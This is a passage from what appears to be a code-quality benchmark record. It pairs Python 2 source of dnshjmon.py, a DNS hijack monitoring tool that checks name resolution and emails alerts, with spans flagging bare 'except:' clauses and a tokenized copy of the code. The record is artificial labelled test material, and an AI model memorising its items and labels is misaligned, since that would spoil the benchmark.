args:\n if type(args[\"d\"]).__name__.lower() != \"bool\":\n dnsconfigfile = args[\"d\"]\n\n if \"s\" in args:\n if type(args[\"s\"]).__name__.lower() != \"bool\":\n mailconfigfile = args[\"s\"]\n\n if \"n\" in args and g_allowExternalResolver:\n if type(args[\"n\"]).__name__.lower() != \"bool\":\n dnsserverfile = args[\"n\"]\n if not os.path.isfile(dnsserverfile):\n print \"[-] DNS server file %s not found, will use OS DNS configuration\" % dnsserverfile\n dnsserverfile = \"\"\n else:\n dnsservers = readDNSServerFile(dnsserverfile)\n \n if not os.path.isfile(dnsconfigfile):\n print \"[-] Configuration file %s not found, aborting...\" % dnsconfigfile\n sys.exit(1)\n else:\n print \"[+] Using dns config file %s\" % dnsconfigfile\n\n \n # check email config file\n cEmailConfig = MailConfig(mailconfigfile)\n if not cEmailConfig.configFileExists():\n print \"[-] Oops, email config file %s doesn't exist yet\" % mailconfigfile\n cEmailConfig.initConfigFile()\n else:\n print \"[+] Using mail config file %s\" % mailconfigfile\n cEmailConfig.readConfigFile()\n\n if \"mail\" in args:\n content = []\n mailhandler = Mailer(mailconfigfile)\n info = ['dnshjmon.py email test']\n mailhandler.sendmail(info, content, 'Email test')\n sys.exit(0)\n\n checkdns(dnsconfigfile, mailconfigfile, dnsservers)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def check_port(host, port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n s.connect((host, port))\n return True\n except:\n return False", "metadata": "root.check_port", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def readDNSServerFile(dnsserverfile):\n dnsservers = []\n try:\n f = open(dnsserverfile,\"rb\")\n content = f.readlines()\n f.close()\n for dnsline in content:\n if not dnsline.startswith('#') and dnsline.replace(\" \",\"\") != \"\":\n dnsserver = dnsline.replace(\"\\n\",\"\").replace(\"\\r\",\"\")\n if not dnsserver in dnsservers:\n dnsservers.append(dnsserver)\n except:\n print \"[-] Unable to read DNS server file %s\" % dnsserverfile\n return dnsservers", "metadata": "root.readDNSServerFile", "header": "['module', '___EOS___']", "index": 105 }, { "content": "def checkdns(dnsconfigfile, mailconfigfile, dnsservers):\n # get all records to test\n useOSDNS = True\n print \"\"\n print \"[+] Running DNS check\"\n if len(dnsservers) > 0:\n print \"[+] Using %d DNS server(s) for queries:\" % len(dnsservers)\n print \" %s\" % dnsservers\n useOSDNS = False\n else:\n print \"[+] Using OS DNS configuration for queries\"\n print \"\\r\\nResults:\"\n print \"--------\"\n toreport = []\n cDNS = DNSConfig(dnsconfigfile)\n dnsscope, dnsscope_short = cDNS.getConfig()\n dnscnt = 1\n for dnscheck in dnsscope:\n extramsg = \"\"\n allresults = []\n try:\n if useOSDNS:\n allresults = [socket.gethostbyname(dnscheck)]\n else:\n r = dns.resolver.Resolver()\n r.nameservers = dnsservers\n dnsdata = r.query(dnscheck)\n for rdata in dnsdata:\n thisresult = rdata.address\n if not thisresult in allresults:\n allresults.append(thisresult)\n extramsg = \"(%s) \" % allresults\n except: \n allresults = [\"?.?.?.? (unable to resolve)\"]\n extramsg = \"(Error looking up IP)\"\n siteok = True\n for thisresult in allresults:\n if not thisresult in dnsscope[dnscheck]:\n siteok = False\n extramsg = \"(%s : Record manipulated?)\" % allresults\n toreport.append(\"%s: %s resolves to %s, but it should be %s\" %\n (getNow(), dnscheck, thisresult, dnsscope_short[dnscheck]))\n print \"%d. %s - check OK? : %s %s\" % (dnscnt,dnscheck, str(siteok).lower(), extramsg)\n dnscnt += 1\n \n print \"\"\n print \"[+] Done checking, tested %d sites, reported %d IP mismatches\" % \\\n (len(dnsscope), len(toreport))\n \n if len(toreport) > 0:\n print \"\"\n print \"*\" * 50\n print \"%d DNS record(s) may have been manipulated:\" % len(toreport)\n\n mailbody = []\n mailbody.append(\"Hi,\")\n mailbody.append(\"\")\n mailbody.append(\"dnshjmon.py has detected %d DNS resolution issues:\" % len(toreport))\n mailbody.append(\"\")\n for tr in toreport:\n mailbody.append(tr)\n print tr\n print \"*\" * 50\n mailbody.append(\"\")\n mailbody.append(\"Report generated with dnshjmon.py - https://github.com/corelan/dnshjmon\")\n mailhandler = Mailer(mailconfigfile)\n mailhandler.sendmail(mailbody)\n\n return", "metadata": "root.checkdns", "header": "['module', '___EOS___']", "index": 122 }, { "content": " def initConfigFile(self):\n print \"[+] Creating a new config file.\"\n i_server = \"\"\n i_port = 25\n i_timeout = 300\n i_auth = \"no\"\n i_user = \"\"\n i_pass = \"\"\n i_from = \"\"\n i_to = \"\"\n i_tls = \"no\"\n\n while True:\n i_server = raw_input(' > Enter smtp mail server IP or hostname: ')\n if not i_server == \"\":\n break\n\n while True:\n i_port = raw_input(' > Enter mail server port (default: 25): ')\n if not str(i_port) == \"\":\n try:\n i_port = int(i_port)\n break\n except:\n continue\n else:\n i_port = 25\n break\n\n while True:\n i_from = raw_input(\" > Enter 'From' email address: \")\n if not i_from == \"\":\n break\n\n while True:\n i_to = raw_input(\" > Enter 'To' email address: \")\n if not i_to == \"\":\n break\n\n while True:\n i_timeout = raw_input(' > Enter mail server timeout (in seconds, default: 300): ')\n if not str(i_timeout) == \"\":\n try:\n i_timeout = int(i_timeout)\n break\n except:\n continue\n else:\n i_timeout = 300\n break\n\n while True:\n i_auth = raw_input(' > Does server require authentication? (yes/no, default: no): ')\n i_auth = i_auth.lower()\n if i_auth == \"\":\n i_auth = \"no\"\n if i_auth in [\"yes\", \"no\"]:\n break\n\n if i_auth == \"yes\":\n while True:\n i_user = raw_input(' > Username: ')\n if not i_user == \"\":\n break\n while True:\n i_pass = raw_input(' > Password: ')\n if not i_pass == \"\":\n break\n\n while True:\n i_tls = raw_input(' > Does server require/support STARTTLS ? (yes/no, default: no): ')\n i_tls = i_tls.lower()\n if i_tls == \"\":\n i_tls = \"no\"\n if i_tls in [\"yes\", \"no\"]:\n break\n\n initserverdata = []\n initserverdata.append(\"server=%s\" % i_server)\n initserverdata.append(\"port=%d\" % i_port)\n initserverdata.append(\"from=%s\" % i_from)\n initserverdata.append(\"to=%s\" % i_to)\n initserverdata.append(\"timeout=%d\" % i_timeout)\n initserverdata.append(\"auth=%s\" % i_auth)\n initserverdata.append(\"user=%s\" % i_user)\n initserverdata.append(\"pass=%s\" % i_pass)\n initserverdata.append(\"tls=%s\" % i_tls)\n\n self.serverinfo = {}\n self.serverinfo[i_server] = initserverdata\n self.writeConfigFile()\n return", "metadata": "root.MailConfig.initConfigFile", "header": "['class', 'MailConfig', ':', '___EOS___']", "index": 250 }, { "content": " def sendmail(self, info, logfile=[], mailsubject=\"DNS Hijack Monitor Alert\"):\n msg = MIMEMultipart()\n bodytext = \"\\n\".join(x for x in info)\n logtext = \"\\n\".join(x for x in logfile)\n mailbody = MIMEText(bodytext, 'plain')\n msg.attach(mailbody)\n\n msg['Subject'] = '%s - %s' % (gethostname(), mailsubject)\n msg['From'] = self.fromaddress\n # uncomment the next line if you don't want return receipts\n msg['Disposition-Notification-To'] = self.fromaddress\n msg['To'] = self.to\n msg['X-Priority'] = '2'\n\n if len(logfile) > 0:\n part = MIMEBase('application', \"octet-stream\")\n part.set_payload(logtext)\n Encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename=\"dnshjmon.txt\"')\n msg.attach(part)\n noerror = False\n thistimeout = 5\n while not noerror:\n try:\n print \"[+] Connecting to %s on port %d\" % (self.server, self.port)\n s = smtplib.SMTP(self.server, self.port, 'minicase', self.timeout)\n print \"[+] Connected\"\n if self.usetls:\n print \"[+] Issuing STARTTLS\"\n s.starttls()\n print \"[+] STARTTLS established\"\n if self.requirelogin:\n print \"[+] Authenticating\"\n s.login(self.login, self.password)\n print \"[+] Authenticated\"\n print \"[+] Sending email\"\n s.sendmail(self.to, [self.to], msg.as_string())\n print \"[+] Mail sent, disconnecting\"\n s.quit()\n noerror = True\n except smtplib.SMTPServerDisconnected as e:\n print \" ** ERROR, Server disconnected unexpectedly\"\n print \" This is probably okay\"\n noerror = True\n except smtplib.SMTPResponseException as e:\n print \" ** ERROR Server returned %s : %s\" % (str(e.smtp_code), e.smtp_error)\n except smtplib.SMTPSenderRefused as e:\n print \" ** ERROR Sender refused %s : %s\" % (str(e.smtp_code), smtp_error)\n except smtplib.SMTPRecipientsRefused as e:\n print \" ** ERROR Recipients refused\"\n except smtplib.SMTPDataError as e:\n print \" ** ERROR Server refused to accept the data\"\n except smtplib.SMTPConnectError as e:\n print \" ** ERROR establishing connection to server\"\n except smtplib.SMTPHeloError as e:\n print \" ** ERROR HELO Error\"\n #except smtplib.SMTPAUthenticationError as e:\n # print \" ** ERROR Authentication\"\n except smtplib.SMTPException as e:\n print \" ** ERROR Sending email\"\n except:\n print \" ** ERROR Unable to send email !\"\n\n if not noerror:\n print \" I'll try again in %d seconds\" % thistimeout\n time.sleep(thistimeout)\n if thistimeout < 1200:\n thistimeout += 5\n return", "metadata": "root.Mailer.sendmail", "header": "['class', 'Mailer', ':', '___EOS___']", "index": 466 } ]
[ { "span": "except:", "start_line": 23, "start_column": 0, "end_line": 23, "end_column": 7 }, { "span": "except:", "start_line": 76, "start_column": 4, "end_line": 76, "end_column": 11 }, { "span": "except:", "start_line": 116, "start_column": 4, "end_line": 116, "end_column": 11 }, { "span": "except: ", "start_line": 154, "start_column": 8, "end_line": 154, "end_column": 15 }, { "span": "except:", "start_line": 273, "start_column": 16, "end_line": 273, "end_column": 23 }, { "span": "except:", "start_line": 295, "start_column": 16, "end_line": 295, "end_column": 23 }, { "span": "except:", "start_line": 526, "start_column": 12, "end_line": 526, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dns", "hj", "mon", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "writt", "en", " ", "by", " ", "core", "lanc", "0d", "3", "r_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "www", ".", "core", "lan", ".", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "smtplib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "email_", "._", "mime_", "._", "text_", "import_", "MIME", "Text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "email_", "._", "mime_", "._", "multipart_", "import_", "MIME", "Multipart", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "email_", "import_", "Encode", "rs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "email_", "._", "MIME", "Base_", "import_", "MIME", "Base_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "socket_", "import_", "gethostname_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "global_", "g", "\\u", "allow", "Exter", "nal", "Resolver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "allow", "Exter", "nal", "Resolver_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "dns_", "._", "resolver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "allow", "Exter", "nal", "Resolver_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "some", " ", "help", "er", " ", "stuff_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CIDR", " ", "to", " ", "IP", "v", "4", " ", "list", " ", "converter", ",", " ", "writt", "en", " ", "by", " ", "Mos", "he", " ", "(", "https", "://", "git", "hub", ".", "com", "/", "mos", "he", "kap", "lan", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "routin", "e", " ", "to", " ", "perform", " ", "DNS", " ", "lookups", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----", " ", "classe", "s", " ", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----", " ", "main", " ", "routin", "e", " ", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mail", "config", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "config", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "working", "folder_", "=_", "os_", "._", "getcwd_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dns", "configfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "working", "folder_", ",_", "\"", "dns", "hj", "mon", "\\u", "dns", ".", "conf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "configfile_", "=_", "os_", "._", "path_", "._", "join_", "(_", "working", "folder_", ",_", "\"", "dns", "hj", "mon", "\\u", "smt", "p", ".", "conf", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "server", "file_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "servers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "show", "banner_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "arguments_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "sys_", "._", "argv_", ")_", ">=_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arguments_", "=_", "sys_", "._", "argv_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "word_", "in_", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "word_", "[_", "0_", "]_", "==_", "'-'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "word_", "=_", "word_", "._", "lstrip_", "(_", "\"-\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "[_", "word_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last_", "=_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "last_", "!=_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "str_", "(_", "args_", "[_", "last_", "]_", ")_", "==_", "\"", "Tru", "e", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "args_", "[_", "last_", "]_", "=_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "args_", "[_", "last_", "]_", "=_", "args_", "[_", "last_", "]_", "+_", "\"", " ", "\"_", "+_", "word_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "h", "\"_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "show", "syntax_", "(_", "sys_", "._", "argv_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "d", "\"_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "args_", "[_", "\"", "d", "\"_", "]_", ")_", "._", "\\u\\u", "name\\u\\u_", "._", "lower_", "(_", ")_", "!=_", "\"", "bool", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dns", "configfile_", "=_", "args_", "[_", "\"", "d", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "s", "\"_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "args_", "[_", "\"", "s", "\"_", "]_", ")_", "._", "\\u\\u", "name\\u\\u_", "._", "lower_", "(_", ")_", "!=_", "\"", "bool", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mail", "configfile_", "=_", "args_", "[_", "\"", "s", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "n", "\"_", "in_", "args_", "and_", "g", "\\u", "allow", "Exter", "nal", "Resolver_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "args_", "[_", "\"", "n", "\"_", "]_", ")_", "._", "\\u\\u", "name\\u\\u_", "._", "lower_", "(_", ")_", "!=_", "\"", "bool", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dns", "server", "file_", "=_", "args_", "[_", "\"", "n", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "dns", "server", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "DNS", " ", "server", " ", "file", " ", "%", "s", " ", "not", " ", "found", ",", " ", "will", " ", "use", " ", "OS", " ", "DNS", " ", "configura", "tion", "\"_", "%_", "dns", "server", "file_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dns", "server", "file_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dns", "servers_", "=_", "read", "DNS", "Server", "File_", "(_", "dns", "server", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "dns", "configfile_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Configura", "tion", " ", "file", " ", "%", "s", " ", "not", " ", "found", ",", " ", "abort", "ing", "...\"_", "%_", "dns", "configfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Us", "ing", " ", "dns", " ", "config", " ", "file", " ", "%", "s", "\"_", "%_", "dns", "configfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "email", " ", "config", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c", "Ema", "il", "Config_", "=_", "Mail", "Config_", "(_", "mail", "configfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "c", "Ema", "il", "Config_", "._", "config", "File", "Exists_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Oo", "ps", ",", " ", "email", " ", "config", " ", "file", " ", "%", "s", " ", "doe", "sn", "'", "t", " ", "exist", " ", "ye", "t", "\"_", "%_", "mail", "configfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c", "Ema", "il", "Config_", "._", "init", "Config", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "+]", " ", "Us", "ing", " ", "mail", " ", "config", " ", "file", " ", "%", "s", "\"_", "%_", "mail", "configfile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "c", "Ema", "il", "Config_", "._", "read", "Config", "File_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "mail", "\"_", "in_", "args_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "content_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "handler_", "=_", "Mail", "er_", "(_", "mail", "configfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "info_", "=_", "[_", "'", "dns", "hj", "mon", ".", "py", " ", "email", " ", "test", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mail", "handler_", "._", "sendmail_", "(_", "info_", ",_", "content_", ",_", "'", "Ema", "il", " ", "test", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "dns_", "(_", "dns", "configfile_", ",_", "mail", "configfile_", ",_", "dns", "servers_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "port_", "(_", "host_", ",_", "port_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "socket_", "._", "socket_", "(_", "socket_", "._", "AF", "\\u", "INET_", ",_", "socket_", "._", "SOCK", "\\u", "STREAM_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "._", "connect_", "(_", "(_", "host_", ",_", "port_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "DNS", "Server", "File_", "(_", "dns", "server", "file_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dns", "servers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "dns", "server", "file_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "f_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dns", "line_", "in_", "content_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "dns", "line_", "._", "startswith_", "(_", "'#'_", ")_", "and_", "dns", "line_", "._", "replace_", "(_", "\"", " ", "\"_", ",_", "\"\"_", ")_", "!=_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dns", "server_", "=_", "dns", "line_", "._", "replace_", "(_", "\"\\\\", "n", "\"_", ",_", "\"\"_", ")_", "._", "replace_", "(_", "\"\\\\", "r", "\"_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "dns", "server_", "in_", "dns", "servers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "dns", "servers_", "._", "append_", "(_", "dns", "server_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Una", "ble", " ", "to", " ", "read", " ", 